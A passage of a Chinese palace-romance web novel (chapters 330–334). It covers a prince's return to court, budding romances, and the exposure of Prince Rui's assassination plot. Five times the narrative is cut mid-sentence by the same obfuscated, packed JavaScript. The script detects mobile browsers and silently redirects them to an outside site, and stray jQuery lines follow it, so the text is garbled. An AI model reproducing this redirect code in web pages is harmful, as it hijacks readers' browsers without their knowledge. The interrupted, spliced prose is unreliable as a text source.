谢翊宁没客气,接过了过来,飞快地看完。
遗书大意是:她,康乐公主,因为怨恨谢翊宁害她唯一的亲哥哥景王被废为庶人,心中积怨难平,恨意难消。
于是,她鬼迷心窍,派出了自己最信任的心腹暗卫,重金招募**,追杀谢翊宁为皇兄报仇。
如今得知谢翊宁已平安抵京,她知道事情败露在即,惊惧交加。
既无颜面对父皇,更畏惧谢翊宁的报复和律法的严惩,于是最终选择了服毒自尽。
临死前,她幡然悔悟,承认自己罪孽深重、死有余辜。
唯一所求,便是恳求父皇看在多年父女情分上,宽恕她无辜的生母王美人。
第330章 未来的亲家
谢翊宁看完了康乐的遗书,将遗书还给了文昭帝。
“父皇有东西让儿臣看,儿臣也有东西想请您过目。”
“什么东西?”文昭帝心里涌起一阵不妙的预感。
谢翊宁将那支带有睿王府标志的断箭送了上来。
“儿臣昨夜**……”他把昨天晚上发生的事情说了一遍。
文昭帝脸色变得铁青。
都到天子脚下了,还敢动他儿子,未免太过胆大妄为。
“之前混入山匪当中想要刺杀儿臣的那个暗卫,儿臣捉到了活口。父皇可要派人审一审?”谢翊宁绝口不提那家伙说他是康乐公主派来的事情。
“审,当然要审。朕还要亲自审。”文昭帝咬牙切齿。
谢翊宁把东西和人交给父皇之后就不管了。
打算先回王府,沐浴更衣一番再入宫见母后,免得她担心。
结果刚出御书房,就被皇后身边的大宫女云黛叫住了。
“王爷,娘娘等您多时了。”
谢翊宁无奈,只得灰头土脸地跟着去了未央宫。
“儿臣给母后请安。”谢翊宁一改在御书房时的无赖模样,乖乖行礼。
崔皇后看到小儿子,没忍住红了眼眶。
她从未与儿子分别这么长的时间。
原本预想着见面之后一定要好好教训这小子,看他还以后敢不敢非要吵着要离京了。
但见到儿子之后,所有的千言万语最后的变成了一句:“回来就好。”
亲眼见到儿子平安无事她就放心了,从旁人那听来,总是有些不安心。
路上的惊险她已经知道了,便没有再问。
她佯装不经意地打听起了棠家人的事情。
“听说令嘉县主的亲生爹娘和她一块回京了?”
谢翊宁点了点头:“嗯。她爹娘和两个兄长都跟着一块来了。她还改回了本名,如今叫棠云婋。”
“那她的家里人这些年过得如何?对她好不好?”崔皇后忍不住追问。
毕竟这是她看好的未来亲家。
不怕门第低,就怕品性不行。
若棠家人不好,那她便打发出京去,只留着棠云婋当儿媳妇就好。
若棠家人争气,那她就帮一把,让他们把门第提上来。
免得别人在背后议论。
“对她好得不得了。”谢翊宁把棠家人的情况大概说了一遍,顺便还提了一句让棠家兄弟进国子监的事情。
一个走科举,一个走武举。
崔皇后大喜过望。
棠风陵十四岁就中了秀才,若不是被那黑心肝的冒名顶替了录科考的名额,恐怕早就入朝为官了。
如今重考,想必中举一事对他来说不会太难。
再一听棠云麒和棠云麟兄弟二人的情况,一个从文,一个从武。
有国子监名师指点,明年定会大有作为。
若是幸运的话,说不定到时候一家三个举人老爷!
有了这清名,再加上烈国公夫妇的庇护,谁还敢在背后嚼舌根。
见母后半天没问他的情况,反而追着问棠云婋的家里人,谢翊宁后知后觉地意识到了不对劲:“母后,到底谁才是您的孩子?您怎么光打听棠家人的事,也不问问儿臣过得如何。”
“你这孩子说的什么话。”崔皇后拧了他耳朵一下。
“本宫不都是为了你才问那么多。”
谢翊宁:???
问的是棠家人的情况,关他永安王什么事。
“你不是说令嘉县主是你的小恩人么,如今她又救了你一命,棠家人一路上又帮了你那么多忙,你可想好怎么报答人家了?”崔皇后一脸期待地看着他。
上回报恩用金银珠宝,这回总该以身相许了吧。
“说起这个,母后,她这回的功劳够换一个郡主了么?”谢翊宁兴致勃勃地和她探讨了起来。
崔皇后:“……”
累了,毁灭吧。
怎么单独出去一趟,朝夕相处那么久,儿子还没开窍。
她怀疑自己是不是应该给他塞点话本子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139683|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让他接受一下那些情情爱爱的熏陶?
“不行么?”谢翊宁追问。
“行行行,此事回头本宫和你父皇商量。”见他一副疲惫的模样,崔皇后便没有再留他多说话。
“你先回府好好休息,明日再入宫来陪母后吧,咱们一家好好吃个团圆饭。”
“是。”谢翊宁应下打算离开。
没走出未央宫多远,就看到云黛追了出来。
“王爷,王爷,皇后娘娘有东西要给您。”
谢翊宁接过一看,都是些话本子。
《鹊桥春》《月圆花正好》《红鸾星动时》《佳偶天成传》……
一看名字就是他不爱看的东西。
“这都什么跟什么啊?”他一头雾水。
云黛红着脸摇了摇头:“皇后娘娘让奴婢转告您,一定要好好看看。”
谢翊宁:“……”
这东西有什么好看的?
但毕竟是母后的心意,他还是收下了。
“知道了,你和母后说,本王会看的。”说完他便回了王府。
见他回来,安静了两个多月的王府像是忽然活了过来,众人都热火朝天的忙碌了起来。
等谢翊宁沐浴更衣结束后,王府下人已经做了一桌子的好菜呈上来给他。
谢翊宁看着桌上的冷淘,忽然想起了之前承诺棠家人回京之后让御膳房的人给他们做冷淘。
如今父皇正烦着呢,他没必要用这点小事去打扰父皇。
反正那些冷淘王府里的厨子也会做。
“去传话,差府里的厨子去摘星山庄走一趟。”他扭头吩咐了一下一旁的王府管事。
“主要做银丝雪冷淘、荷香鳜鱼冷淘、还有八珍冷淘……””谢翊宁一口气报了十多个他觉得好吃的菜。
王府管事听完忍不住委婉提醒:“王爷,一口气做那么多菜,府里大半的厨子都要过去了。那您的晚膳……”
照夜开口打断他的话:“小事一桩,王爷也一块去摘星山庄用晚膳不就好了。”
第331章 请媒人提亲
谢翊宁原本没想到这事,如今照夜一提,他觉得倒也是个好主意。
往日里他都是和棠家人一大群人热热闹闹的用午膳,忽然只剩他一个人,这满桌子的饭菜全是他一个人吃,他顿时觉得有些索然无味。
想到还有很多事情想跟棠家人商议。
他点点头,看向照夜:“那就听你的吧,你先去摘星山庄传个信。”
“是。”照夜高兴地答应下来,他也好久没有见到衔蝉了。
这些日子王爷没有任务让他去摘星山庄,他都没有借口去见衔蝉。
如今正好。
于是他快马加鞭地去摘星山庄,将王爷晚上派了王府厨子来做饭的事情告诉了他们。
棠家人有些受宠若惊。
照夜解释道:“王爷说当时他承诺过要请御膳房的人给你们做冷淘,自然要说话算话。”
“只是如今御膳房的人不好请,但王府厨子也很擅长做冷淘,所以就让王府的人来了。还望县主不要介意。”
“我高兴还来不及呢,怎么会介意。”晏逐星笑着摇了摇头。
她转头吩咐山庄里的厨娘,也做两道王爷爱吃的菜。
方青鸾瞧着这一幕,总感觉不对劲,于是拉着棠风陵回了院子窃窃私语。
“你说王爷这是什么意思?”
“什么什么意思?”棠风陵一头雾水。
他怎么听不懂夫人在说什么?
“就是王爷怎么回来第一时间就派人过来给咱们做饭,咱们的面子有这么大吗?”方青鸾总觉得永安王这个举动别有深意。
“这说明王爷一诺千金,是个信守承诺的人。”棠风陵斩钉截铁。
方青鸾:“……”
她也是吃饱了撑的和夫君讨论这个话题。
和他聊这个简直是对牛弹琴。
“你走吧,我没什么可以跟你说的了。”方青鸾板着脸让夫君离开,命人去把衔蝉叫来。
听说衔蝉是王府出来的,想必更了解永安王。
而衔蝉此刻正被照夜拉着说话。
“衔蝉姑娘,这都是嬷嬷托我给你带的。”照夜把手里一个鼓鼓囊囊的蓝布包往她怀里塞。
衔蝉下意识接住,指尖碰到他粗糙温热的手背,耳根子“腾”地一下就热了,赶紧低头看那布包。
里边是京城西市那家老字号很难买到的蜜渍海棠果子,甜里带点酸,她很爱吃。
还有几朵时兴的绒花,很适合她。
这些东西一看就都是用心挑了的。
“……真的是嬷嬷让你送的么?”衔蝉鼓起勇气抬头看向照夜。
以前她真是块木头。
要不是双鲤那丫头之前跟她说什么“嫁人就得嫁照夜大哥这样的实在人”,她压根儿没往这头想。
可自打心里存了这念头,再偷偷留心一看。
原来这闷葫芦背地里给她做了那么多事。
当初还在王府当差那会儿,他就偷偷托过管事的嬷嬷多照应她,怕她挨欺负,活儿太重。
她回去打听了,才知道当时王爷让他送来的簪子只有一支,其他的都是这呆子自己雕的。
如今特意给她带东西,还非说是嬷嬷给她带的。
照夜心下一惊。
他哪里露馅了么,难不成衔蝉姑娘知道是他的东西,不想要了?
早在王府见到衔蝉的第一面,他就把这小姑娘放心上了。
得知王爷派她去了定远侯府,他一开始还挺担心的,主动和停云换了几回监视侯府的活计。
“怎么了么?有什么问题么?”照夜有些忐忑地看着她。
“有。”衔蝉点了点头,将包裹塞回了他手里。
“我们男未婚女未嫁的,你若总是借着嬷嬷的名头给我送东送西……传出去,于理不合的。”
“而且,这东西,除了给我一人,还是别的姑娘也有?”
照夜整个人都懵了,手里的包裹顿时变得有些烫手。
他毫不犹豫道:“当然是只给你一人了。”
“我,我就是……”
他急得舌头打结,额角都冒了汗。
看着衔蝉低垂的睫毛和微微泛红的耳朵,那些藏在心里的话,突然就脱口而出了。
“我就是想对你好!”
声音大得把两人都吓了一跳。
四目相对之际,都看到了彼此瞪圆的眼睛。
“对不住,这样送东西是我没想周全!”照夜语速飞快,生怕被打断。
“可我在王府头一回见你,你站在回廊下回头看我,我就……我就再没忘掉。”
他越说越激动,往前踏了一小步,又猛地顿住,怕唐突了她。
“衔蝉姑娘,我对你是真心的,你若是愿意信我……”
“我、我回去就禀明王爷。你放心!只要王爷允了,我立刻去求见县主,她答应了我再请正正经经请媒人来提亲,一定把这路走得明明白白,绝不让你的名声有半点闪失!”
这下衔蝉的脸是彻底红了。
她只是想确认一下,到底是自己想多了,还是照夜真的对她有些好感。
没想到这一问,直接让照夜说出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143896|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提亲这样的话。
她一时间竟然不知道该如何回应。
就在这时,一个小丫鬟跑了过来:“衔蝉姐姐,夫人要见你。”
衔蝉松了一口气,看了他一眼压低声音道:“提亲也太快了。县主如今还离不开人,我不想那么早嫁人。照夜大哥,你的心意我收下了,我会好好珍重的。”
说完便匆匆离开了。
照夜傻愣愣地看着她离开的背影,捧着包裹站在原地。
向来能分析出主子话里话外意图的他,第一次产生了茫然之感。
衔蝉姑娘这意思,到底是答应还是没答应?
*
方青鸾得知衔蝉是从王府里出来的,当即和她打听起了永安王和自家女儿的事情。
衔蝉听到她问这些事情,顿时有些尴尬,但她又不敢不回答,毕竟这是县主的亲生母亲。
可王爷经常半夜悄悄和县主见面,这事若是说出来恐怕有损县主的闺誉。
而且县主也未必希望夫人知道她做的那些事情。
于是衔蝉小心翼翼地挑了一些能说的事情来说。
比如王爷屡次对县主的维护,又比如县主被刺杀时王爷的保护,还有两人相处时的老夫老妻即视感……
方青鸾越听越觉得永安王对女儿的感情肯定不一般。
什么救命之恩报一次还不够?要报那么多次?
“你家王爷从前可有过心仪之人?”方青鸾决定再仔细问问。
“奴婢如今是县主的人了。”衔蝉小心翼翼地纠正,她的**契都在县主手中呢。
生怕夫人把自己又发配回王府。
“你可知永安王有没有过心仪的人?”方青鸾换了一个问法,
衔蝉摇了摇头:“据奴婢所知应该是没有的。”
王爷从小到大对别的女子看都懒得看几眼。
她记得当初太后给王爷塞了一个长得国色天香的丫鬟,想让那个丫鬟当王爷的通房丫鬟。
结果王爷说她长得还没自己好看,问太后是不是眼睛有点问题,分不清美丑,要不要请太医来给她治一治。
她记得太后当时就气坏了,再也不提什么通房丫鬟的事情了。
而县主是唯一一个被王爷私底下称赞过的姑娘。
方青鸾听完心里有数了。
依照她的经验来看,永安王这是没开窍,肯定是喜欢上了婋婋不知自知。
婋婋亦是如此。
两个没开窍的人凑一块,能明白自己的心意就有鬼了。
但确定这件事之后,她反倒犯了难。
第332章 心悦永安王
婋婋月底便要及笄。
一旦及笄,就要开始相看亲事。
若任由这暧昧不明的情愫发展下去,婋婋相看能顺利么?
京城不比青州,人多眼杂。
若永安王频繁进出摘星山庄,落入有心人眼中,到时候可就说不清了。
可如今他们家的门第,距离永安王妃那个位置还差了老远,就算夫君和儿子再努力,那也得等到明年全都中举了才能勉强试一试。
再加上永安王身上的那个预言……
若他真活不过二十岁,婋婋岂不是要当一辈子的寡妇?
方青鸾一时间有些懊恼,她为什么要关注那么多。
这下好了吧,烦死她了。
还不如像夫君那样,什么都不知道呢。
直到下午谢翊宁来了摘星山庄,方青鸾看着他总是一副欲言又止的模样。
他有些疑惑,但方青鸾毕竟是女眷,他也不好直接问。
只得私底下悄悄询问棠云婋。
“你娘是不是有什么话想对本王说啊?”
棠云婋一愣:“不会吧?”
她娘和永安王能说什么。
最多不就是说说那张弓。
可那张弓等过两日永安王将娘亲的功劳呈报上去,就能回到娘亲的手里了,她不至于那么急吧。
“或许是本王多心了。”谢翊宁摇了摇头。
“你可曾想好要什么赏赐?”他再次询问。
“不是已经让我兄长去国子监读书了么?”棠云婋没想到还有别的赏赐。
谢翊宁一本正经:“那只是你救了本王的赏赐。除此之外,你拿到了柳家造船秘术,更是大功一件。你想要什么,我回头跟父皇母后说。”
一码归一码,小恩人的赏赐可不能少了。
棠云婋一时间还真想不出要什么。
毕竟王爷给的已经够多了。
她苦恼地摇了摇头:“我还是想不出来,不如王爷替我想吧。横竖不会王爷都不会让我吃亏。”
说到最后一句话,她笑得眉眼弯弯。
看着她的笑容,谢翊宁也忍不住翘起了唇角。
这句话抚平了他一整日的疲惫。
“好,本王定然不会让你吃亏。”
不远处,方青鸾看着两人的互动心沉到了谷底。
两人说话时的表情,明显就是心悦对方而不自知。
等到永安王离开后,方青鸾再也忍不住,找到了女儿。
有些事,婋婋看不明白,她这个当娘的不能不说。
若婋婋真的如她想的那样,对永安王有意,想嫁给他,那她便给她分析利弊,她若还想嫁,那她便想尽办法让她达成所愿。
若婋婋犹豫了,那她往后与永安王之间的来往,就要克制了。
不要越陷越深。
那样不管是对婋婋还是对永安王,都不好。
“阿娘,你找我什么事?”棠云婋看到娘亲一脸纠结,很是惊讶。
方青鸾在心底反复把话演练了好几遍,这才开口:“娘有些重要的事情想和你说。”
棠云婋有些疑惑。
阿娘要跟她说什么,怎么神神秘秘的?
方青鸾看了一眼周围的丫鬟,棠云婋便把人都屏退了。
“这下可以说了吧?”
“婋婋,你实话跟娘说,你是不是心仪永安王?”方青鸾豁出去了。
“娘,您说什么呢?”棠云婋脑子一片发懵。
方青鸾拉起女儿的手,语重心长道:
“你马上就要及笄了,是大姑娘了。迟早要开始相看人家,阿娘不在乎门第,只希望你能找到真心相伴一生的良人。就像我和你爹,不管遇到什么事情,都能一起面对,永远不会背叛彼此。”
棠云婋听着娘亲的话,脑海里浮现的全是谢翊宁的脸。
“不管遇到什么事情……”
王爷总是站在她这边。
“都能一起面对……”
**放火也可以。
“永远不会背叛彼此……”
他们知道彼此最大的秘密却依旧没有告知任何人。
这世上,他们是唯一的同盟。
“婋婋,你告诉阿娘,你听完阿娘的话,心里第一个想到的人是谁?”方青鸾紧紧盯着女儿的眼睛。
棠云婋怔怔地看着母亲充满探究和关切的眼睛,一股莫名的热意猛地从脖颈窜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143897|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上脸颊,耳根烫得厉害。
她下意识想低头,却被母亲牢牢攥着手,避无可避。
脸上的热意来得汹涌又奇怪,让她心慌意乱。
上一世,她脑海里只有讨好侯府的人还有想办法活下去,情情爱爱这种东西,她从未接触过,也没有想象过。
她也没有尝过被父母安排相看议亲的滋味,更不知道喜欢人是什么样的感觉。
此刻听着娘亲的追问,她只觉得心口跳得又快又重,像揣了只不听话的兔子,她根本不明白这剧烈的心跳和滚烫的脸颊到底代表着什么。
“是永安王,对不对?”
看着女儿通红的脸颊,让方青鸾明白,她猜对了。
“你告诉阿娘,不管身份地位,只是看他这个人。你愿不愿意一辈子和他生活在一起?愿不愿意和他生儿育女?”方青鸾继续追问。
棠云婋只觉得脸热得更厉害了。
若是此刻在她脸上摊一个鸡蛋,怕是都能煮熟了。
重生之后,她并未考虑过成婚生子,她想的更多是杀死上一世的仇人,替自己报仇,然后找到自己的家里人。
若家里人不喜欢她,那她就一个人守着定远侯府的财富潇潇洒洒过完一辈子。
可是如今她却忍不住顺着阿娘的话去畅想。
“和永安王生生儿育女”这个念头这一刻在脑海里生根发芽。
她对成婚生子没有兴趣,但如果那个人是永安王,那她好像愿意试一试。
如果他们有了孩子……
王爷一定会把那孩子宠上天,而她也一定会把自己这些年缺失的母爱毫无保留地倾注到他身上。
他们的孩子一定会是天底下最幸福的孩子。
她还没反应过来自己要说什么,就已经下意识地点了点头。
看到她点头,方青鸾忍不住叹了一口气。
“傻孩子,这就是喜欢呀……”
果然,她猜得不错,婋婋对永安王有情而不自知。
这声叹息和点破的话语,如同天上的惊雷,将棠云婋脑海里的捋不清的思绪彻底劈开了。
喜欢?
她……喜欢谢翊宁?
第333章 直接去问他
棠云婋的脑海里一瞬间闪过了许多问题。
为什么看到谢翊宁受伤会心急如焚?
为什么和他分享秘密时会感到一种莫名的安心?
为什么他站在自己这边时,心底会涌起隐秘的雀跃?
所有零散的、让她困惑不解的碎片,在这一刻被“喜欢”两个字串联起来,形成了一条清晰无比的脉络。
原来那些牵肠挂肚、那些患得患失、那些超越常理的信任与依赖……
都是喜欢!
她怔怔地看着娘亲,眸子里清晰地倒映出震惊,以及破土而出的爱意。
见娘亲愁眉不解,棠云婋有些紧张。
“阿娘,您不喜欢王爷吗?”
“我怎么会不喜欢王爷。王爷这样好的儿郎,打着灯笼都找不着。只可惜老天爷不干人事,王爷这样好的人,怎么就活不过二十岁呢。”方青鸾重重叹气。
“你若嫁过去,年纪轻轻就要守寡,我和你爹哪里舍得呢。”
听到这话,棠云婋松了一口气。
原来阿娘是担心王爷活不过二十岁。
“阿娘,不会的。王爷一定会活过二十岁的。我做过一个梦,梦里王爷长命百岁了。”她握住了娘亲的手。
国师预言已改之事,她不能告诉阿娘,只能委婉地安慰她。
听到这话,方青鸾更愁了。
完了完了,婋婋这是彻底沦陷了呀。
连梦里都是永安王了!
“那你是非他不可了?”方青鸾最后一次确认女儿的心意。
棠云婋迟疑了片刻,最终还是重重点头。
若是嫁给别人,她是不愿的。
唯有永安王,她愿意试一试。
看到女儿这副模样,方青鸾长叹一口气。
罢了!罢了!
既然女儿认定了,撞了南墙也不肯回头,那她这个当娘的,除了豁出命去给她铺路、给她兜底,还能怎么办?
她就不信,功劳挣得多了,还有人敢说她家婋婋配不上永安王。
至于永安王能不能活过二十岁,再说吧。
今朝有酒今朝醉,明日愁来明日忧。
这世上,能有几个人像她婋婋这般,在最好的年华里,就能清楚明白地遇到一个能让她心甘情愿去一辈子在一起的人。
哪怕只有短短几年,与永安王这样令人惊艳的人在一起虚度,也好过日后浑浑噩噩与不爱的人过完漫长的一生。
就在方青鸾准备发表壮志豪言支持女儿时,就看到她脸上那抹羞涩的笑意被一丝迟疑给取代了。
“可是阿娘……王爷好像并不喜欢我?”
“怎么可能!”方青鸾脱口而出。
她又不是瞎子。
永安王看女儿的时候,那眼底的喜欢都要弥漫出来了。
“我们婋婋长得又好,武功又高,人又聪明,还孝顺,又会赚钱,他怎么可能不喜欢你!”方青鸾看自己的女儿自然哪哪都好。
听到娘亲的夸赞,棠云婋脸上浮起了一抹羞涩又无奈的笑,但想到永安王曾说过的那些话,脸上的笑容渐渐就消失了。
“可王爷说过他对我好是因为把我当恩人……”棠云婋心底没底。
她没喜欢过别的男子,也没被别的男子喜欢过,她根本判断不出来王爷到底喜不喜欢她。
“而且,他还说过要给我攒嫁妆,以后要替我挑一个好夫婿……”
棠云婋越说越觉得气馁。
若是喜欢她,怎么可能让她嫁给别人。
原来,喜欢一个人却不被喜欢,是这样的感觉。
“不可能!”方青鸾还是觉得自己没看错。
“不然咱们直接问吧,猜来猜去打哑谜有什么意思。”
棠云婋睁大了眼睛看向娘亲:“直接问?这、这不好吧。”
饶是棠云婋胆子一向很大,也被娘亲这话给整得结巴了。
“这有什么,当初我不就是直接问你阿爹的么。若你问了,他否认了,那咱们从此以后就**这条心。阿娘重新帮你找好夫婿!”方青鸾不觉得问一句话会怎么样。
不问的话,猜来猜去,万一互相喜欢,那岂不是要浪费时间。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143898|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若是不喜欢,默默等个几年结果别人另娶她人为妻,还不是得自己难受。
“不不不。”棠云婋把头摇得跟拨浪鼓似的。
她不能这么直接问。
若是直接问了,万一王爷只把她当救命恩人,当一个能干的下属,知道她竟然胆大包天打他王妃的主意。
那他们两人可就回不到从前了。
她不想彻底和永安王闹掰。
棠云婋不愿意娘亲跟着自己一块苦恼,她斩钉截铁道:“阿娘,你放心,等赏赐下来之后,我会想办法去问清楚的。你不用操心了。”
方青鸾盯着女儿,迟疑了片刻还是点了点头。
女儿长大了,不是小孩子,她自己的事情她可以做主。
她这个当娘亲的,要做的不是去干涉她,而是给她兜底。
她一把将棠云婋紧紧搂进怀里,下巴抵着她柔软的发顶,声音无比坚定:“好。阿娘相信我的婋婋会把这一切都处理好的。”
“你只要知道,无论发生什么事,我们都在你身后。”
棠云婋听到这话,眼眶有些湿润。
原来这就是有家人的感觉啊。
*
回了王府后,谢翊宁一夜无梦,他睡了个天昏地暗。
正陷在柔软锦被里,就一阵急促的拍门声。
照夜焦急的声音传来:“王爷!醒醒!皇上让您即刻上朝!”
谢翊宁烦躁地把被子一扯,含糊不清地嘟囔:“……上什么朝,本王困**,告假。”
“可睿王已经上朝了,就等您呢。”照夜提高了音量。
听到“睿王”二字,谢翊宁清醒了。
看来那件事出结果了?
父皇的效率还挺高的嘛。
“来了。”他二话不说掀开被子起身更衣。
他换上了亲王的朝服,伸了个懒腰,上朝去了。
金銮殿上,气氛凝重。
文武百官垂手肃立,眼观鼻,鼻观心,大气都不敢出。
皇上今日脸色很难看,谁都能猜出来今日早朝将有大事发生。
第334章 究竟凭什么
睿王看着施施然走进殿内的谢翊宁,下意识地攥紧了拳头。
他万万没想到,谢翊宁竟然逮到了活口,还交给了父皇。
那个活口被父皇保护得严严实实,他根本找不到灭口的机会。
提心吊胆了一整晚,如今他眼底一片乌青,看起来气色很不好。
他死死盯着谢翊宁,恨不能用眼神在他身上剜出几个洞来。
而谢翊宁却像没看到他,也仿佛感受不到这殿内几乎凝固的空气,规规矩矩地冲文昭帝行礼:“儿臣参见父皇,昨夜睡得沉了些,来迟了,父皇恕罪。”
“嗯,这趟青州之行辛苦你了。”文昭帝看着小儿子,紧皱的眉头总算松了松,语气里带着一丝不易察觉的温和。
“说说吧,你这一路究竟遇上了什么事,尤其是那柳家,究竟怎么回事?也好让诸位爱卿听听,大虞到底还藏着多少这样的蛀虫,烂到了什么地步!”
“是。”谢翊宁脸上那点懒散的睡意退去,将自己一路的经历全都说了出来。
从临清开始被追杀,到柳家发现他们坑害拐骗无辜百姓,以及他们插手科举,桩桩件件,一样都没落下。
满朝文武震惊不已。
谁那么想不开,去追杀永安王?
还有,这永安王运气可真好,这么多次刺杀,竟然都让他死里逃生了。
他说完之后,文昭帝的脸色十分难看。
虽然早就听过了小儿子的这些遭遇,但再听一次,还是让他愤怒不已。
“老四,这事你怎么看?”文昭帝瞥了一眼睿王,点了他的名。
睿王心头咯噔一跳。
父皇为什么第一个问他,难不成石峥招了?
来不及细想,他几乎是踉跄着抢出一步,深深躬下身,语速极快道:“回父皇!儿臣以为柳家胆大包天,其罪当诛!”
“私设搏命窟,残害我大虞子民,视人命如草芥!此乃灭绝人伦,天理难容!勾结官吏,扰乱科场,更是动摇国本,罪加一等!”
他顿了顿,飞快地抬眼偷看了一下文昭帝铁青的脸色,又迅速垂下头。
“嗯,说的不错。”文昭帝点了点头,但脸上却没有半分喜悦。
看着他的表情多了一抹失望。
“那谋害刺杀亲王一事呢?你以为该当何罪?”
睿王脑袋“嗡”的一声响。
父皇为何问他这个问题,难不成父皇什么都知道了?
他抬头想要看文昭帝,试图从他的表情里看出点什么来,但又害怕自己的眼神会泄露秘密,于是又慌张地垂下了头。
他咬紧牙关,决定硬扛到底:“此、此乃十恶不赦之罪!”
“谋刺天潢贵胄,罪该万死。按我大虞律法,当处以极刑……”
“嗯,你说得很对。”文昭帝点了点头,那声音带着一丝诡异的平静。
他看着睿王,眼神里的失望已经化为一片深不见底的寒潭。
他猛地抄起御案上那块沉重的玉石镇纸,用尽全身力气朝着睿王脚前的地面狠狠砸了下去。
“哐当。”
一声震耳欲聋的巨响在金銮殿上炸开。
玉石镇纸瞬间四分五裂,碎片四处飞溅,离得近的几位大臣吓得本能地后退了两步。
文昭帝压抑到极致的怒火伴随着这一砸爆发了。
他豁然站起,怒喝道:“你既然知道得那么清楚,既然知道谋刺亲王是十恶不赦、罪该万死!”
“那你告诉朕,你为何还要暗中派出死士,截杀永安王?还要将这罪名嫁祸给康乐?”
“手足相残,构陷血亲,谢允恪,你的心肝是被狗吃了吗?”
睿王听到这话,清楚地意识到自己做的事情都东窗事发了。
他下意识地替自己辩解:“父皇,儿臣冤枉啊。”
“冤枉?”文昭帝冷冷一笑,“朕倒希望你是冤枉的。”
他扭头看了秦朔一眼。
秦朔当即会意,把那些人证和物证全都交了上来。
看着被折磨得不成人样的石峥,又看了一眼康乐的驸马,还有素月那丫鬟的尸体。
睿王知道自己真的栽了。
“呵……”他抬起惨白的脸,眼中最后一丝侥幸也熄灭了,只剩下破釜沉舟的癫狂。
“父皇既然已经心知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143899|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肚明,查得一清二楚,那为什么还要多此一举,逼着儿臣在满朝文武面前再演一遍?看儿臣像条丧家之犬一样狡辩挣扎,很有趣吗?”
“你这个混账!!!”文昭帝的怒吼带着难以言喻的痛楚,他指着睿王的手都在微微发颤。
他原以为还有那么一丝微弱的可能,是自己被误导了。
只要老四能拿出哪怕一点点证据证明他是被构陷的,他都愿意重新去查!
可这个逆子竟然就这样当庭承认了?
殿内群臣也被这突如其来的认罪和顶撞惊得目瞪口呆。
康乐公主为了景王谋害永安王,好歹是因为兄妹情分,算得上师出有名。
可睿王与永安王并无深仇大恨,更何况永安王活不到两年就要没了……
刺杀永安王,他图的是什么?
“是!我是混账!”睿王猛地挺直了腰背,直勾勾地看着文昭帝。
“可难道父皇您就清清白白,一点错都没有吗?”
这石破天惊的质问让大臣们脑子里不约而同地闪过了一句话:睿王疯了,他竟敢当庭诘问天子?
睿王双目赤红,声嘶力竭道:“我也是您的儿子,是您亲生的骨肉!可您眼里为什么永远只有太子和谢翊宁???”
他指着一旁沉默的谢翊宁。
“太子也就罢了!他占着嫡长,装的一副仁义君子的模样哄您开心。可谢翊宁呢?一个活不过二十岁的废物,一个除了会装病撒泼博您怜惜,一无是处的纨绔!凭什么?”
他往前踉跄一步,声音里满是嫉妒和不解。
“凭什么他能得您嘘寒问暖,一句咳嗽就让您坐立不安?凭什么他病了,您就忧心如焚,恨不得亲自端汤送药整夜守着?”
“而我呢?我每回病了,您就打发个太医过来看一眼,连句关心的话都没有!”
“凭什么他可以不读书,整天游手好闲,您一句重话都舍不得说?”
